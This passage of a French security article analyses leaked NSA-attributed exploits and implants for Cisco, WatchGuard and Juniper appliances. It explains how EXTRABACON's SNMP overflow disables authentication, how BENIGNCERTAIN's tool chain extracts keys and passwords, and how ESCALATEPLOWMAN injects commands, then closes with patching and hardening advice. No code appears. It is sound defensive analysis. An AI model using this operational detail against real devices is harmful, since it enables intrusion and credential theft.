  • EGREGIOUSBLUNDER peut se servir de l’implant BLATSTING (également utilisé par ELIGIBLEBACHELOR, TOPSEC) dont le rôle n’est pas connu.

Exploit – EPICBANANA (Cisco)

L’exploit EPICBANANA repose sur une vulnérabilité corrigée en 2011 par Cisco et affecte les équipements ASA. Elle permet à un attaquant authentifié sur le système (Telnet ou SSH) de causer un déni de service de l’équipement, voire potentiellement d’exécuter du code arbitraire (non prouvé à ce jour).
La criticité de cette vulnérabilité avait été classée à « moyenne » par Cisco lors de la découverte initiale en raison des prérequis nécessaires à son exploitation.

Exploit – EXTRABACON (Cisco)

EXTRABACON est un exploit ciblant une vulnérabilité de type « dépassement de tampon » dans la gestion du protocole SNMP des équipements Cisco ASA. La vulnérabilité est disponible sous le code CVE-2016-6366.
L’exploit se présente sous la forme d’un script Python prenant en paramètre :
  • Le nom de la communauté SNMP utilisée par l’équipement ;
  • Le mode d’opération :
    • « pass-disable » : désactive l’authentification sur l’équipement ;
    • « pass-enable » : réactive l’authentification sur l’équipement.
L’attaquant doit cependant disposer du nom de la communauté SNMP, ainsi que lancer le script depuis une adresse IP autorisée par la commande « snmp-server ».
Bien que l’exploit ne semble pas très stable et puisse faire crasher l’équipement cible, certains (dont l’internaute XORCat) ont montré que ce dernier était fiable :


Un patch pour cette vulnérabilité a été publié par Cisco le 24 août 2016.

Exploit – BENIGNCERTAIN (Cisco)

L’exploit BENIGNCERTAIN cible les équipements Cisco PIX, aujourd’hui qualifiés en fin de vie (EoL) et fin de support (EoS), et permet à un attaquant, entre autres, de récupérer les clés privées présentes sur l’équipement ainsi que les mots de passe qui s’y trouveraient.
Plusieurs internautes (dont Mustafa Al-Bassam, à l’origine de l’analyse de l’archive publique, et @int10h) ont confirmé que l’exploit était fonctionnel et lui ont donné le nom de PixPocket :

Les équipes de Cisco n’ont toujours pas identifié la vulnérabilité utilisée par cet exploit, qui reste à ce jour une faille 0-day.
L’exploit se présente sous la forme de plusieurs fichiers exécutables accompagnés d’une collection de charges malveillantes :

L’attaquant utilise tout d’abord le fichier « bc-genpkt » qui génère un paquet malveillant de type IKE (Internet Key Exchange), protocole utilisé lors de la mise en place de tunnels IPSec. Ce paquet est ensuite fourni en entrée au fichier « bc-id » qui envoie le paquet à destination de la cible de l’attaque et fourni un dump. Ce dernier doit enfin être analysé à l’aide de « bc-parser » pour récupérer les informations sensibles :


Exploit – ESCALATEPLOWMAN (WatchGuard)

L’exploit ESCALATEPLOWMAN est un script Python, destiné à exploiter une vulnérabilité de type « injection de commandes » sur les systèmes vendus par RapidStream, une société rachetée par WatchGuard en 2002.

La cible de l’exploit est la ligne de commande de debug, spécifique au système cible, qui peut être exploitée dans sa gestion de la commande « ifconfig ». Cette dernière permet alors à un attaquant de récupérer et d’exécuter un fichier depuis Internet.

L’éditeur WatchGuard a tenu à préciser que seuls les équipements RapidStream, de par la localisation des exécutables sur le disque d’une part, et des commandes proposées par la ligne de commande d’autre part, sont vulnérables à cette attaque.

Implants – BANANAGLEE / ZESTYLEAK (Cisco, Juniper)

Encore une fois, assez peu d’informations sont disponibles sur les implants BANANAGLEE et ZESTYLEAK, si ce n’est que :
  • BANANAGLEE semble être spécifique à Cisco et ZESTYLEAK à Juniper NetScreen ;
  • BANANAGLEE et ZESTYLEAK sont des implants en mémoire et ne persistent pas après un redémarrage ;
  • Les outils JETPLOW, SCREAMINGPLOW et FEEDTHROUGH peuvent être utilisés pour écrire les implants cités ci-dessus dans le firmware des équipements afin de les rendre persistants.

Un graphe complet des dépendances de ces deux implants est disponible ci-dessous :

Ce qu’il faut retenir

Ce n’est malheureusement pas la première fois que des exploits publics permettent de prendre le contrôle d’appliances réseau. Dans le cas présent, il n’existe pour certaines de ces vulnérabilités aucun correctif de sécurité, et les pare-feu sont parfois le seul rempart protégeant des équipements vulénrables.

On peut se rassurer par le fait que la plupart de ces exploits nécessitent pour être fonctionnels un accès réseau à des interfaces de supervision ou d’administration. Les bonnes pratiques de sécurité s’appliquent encore, à savoir : tenir les équipements vulnérables à jour, durcir la configuration des composants (dans ce cas, celle du SNMP) et évidemment l’utiliser d’un réseau dédié à l’administration des équipements.

Jean MARSAULT